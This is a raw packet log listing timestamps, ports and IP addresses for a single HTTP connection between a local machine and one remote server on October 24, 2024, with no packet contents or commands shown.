Oct 24, 2024 13:27:09.478353024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478387117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478394032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478420973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478441000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478471041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478475094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478507996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478528976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478557110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478564024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478598118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478615999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478631973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478655100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478666067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478691101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478713036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478719950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478754044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478776932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478785992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478801966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478815079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478840113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478847980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478866100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478883982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478905916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478915930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478935003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478951931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.478967905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.478986979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479008913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479020119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479043007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479049921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479075909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479084969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479099035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479120970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479141951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479155064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479176998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479193926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479209900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479227066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479242086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479260921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479285002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479293108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479346991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479356050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479356050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479378939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479398012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479413033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479439974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479445934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479463100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479479074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479506969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479507923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479526997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479542017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479558945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479576111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479595900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479609013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479633093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479643106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479655027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479676962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479696035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479711056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479732037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479743004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479765892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479777098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479794025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479811907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479834080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479845047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479857922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479878902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479899883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479912996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479937077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479944944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479959011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.479979038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.479998112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480011940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480031967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480045080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480076075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480078936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480094910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480113029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480133057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480145931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480171919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480180025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480191946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480211020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480233908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480245113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480262995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480278969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480298996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480314016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480336905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480349064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480355978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480382919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480402946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480417013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480441093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480449915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480463028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480484009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480503082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480518103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480535984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480550051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480564117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480582952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480606079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480617046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480640888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480649948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480663061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480683088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480700970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480719090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480741978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480751991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480782032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480784893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480799913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480818987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480837107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480853081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480870962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480885983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480909109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480921030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480937958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480953932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.480976105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.480992079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.481015921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.481026888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.481039047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.481080055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.524513006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.524537086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.524554968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.524703979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.524703979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.582567930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.582612991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.582674026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.582716942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.582747936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.582778931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.582817078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.582844973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.582911968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.582911968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.582912922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.582912922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.582912922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.582912922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.582912922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.582912922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.583340883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.583364964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.583383083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.583537102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.583537102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.583537102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584216118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584244967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584259987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584275961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584291935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584307909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584381104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584381104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584381104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584381104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584381104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584410906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584438086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584454060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584459066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584470034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584494114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584513903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584532976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584614038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584630966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584646940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584666967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584681034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584681034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584686041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584701061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584702015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584717035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584732056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584741116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584747076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584763050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584772110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584789991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584800005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584806919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584820986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584822893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584839106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584853888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584862947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584868908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584884882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584892035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584901094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584914923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584922075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584930897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.584942102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.584964037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585004091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585005045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585021019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585055113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585073948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585081100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585097075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585110903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585134983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585151911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585192919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585207939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585222960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585237026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585241079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585253954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585267067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585279942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585323095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585334063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585349083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585362911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585377932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585381985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585407972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585417032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585422993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585438967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585454941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585455894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585472107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585473061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585486889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585504055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585517883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585541010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585561991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585767031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585781097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585796118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585812092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585820913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585827112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585839987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585844994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585885048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585896969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585905075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585911989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585927963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585942984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585952997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585958004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585969925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.585973978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.585989952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586014986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586031914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586061954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586076975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586113930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586148977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586169958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586185932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586199045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586215019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586219072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586230993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586236954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586246967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586262941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586265087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586277962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586294889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586302042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586327076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586345911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586442947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586457968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586481094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586496115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586496115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586512089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586517096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586529970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586540937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586580992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586581945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586596966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586611986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586626053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.586632967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586667061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.586694956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.593703032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593725920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593743086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593758106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.593789101 CEST	80	49730	109.107.157.208	192.168.2.4
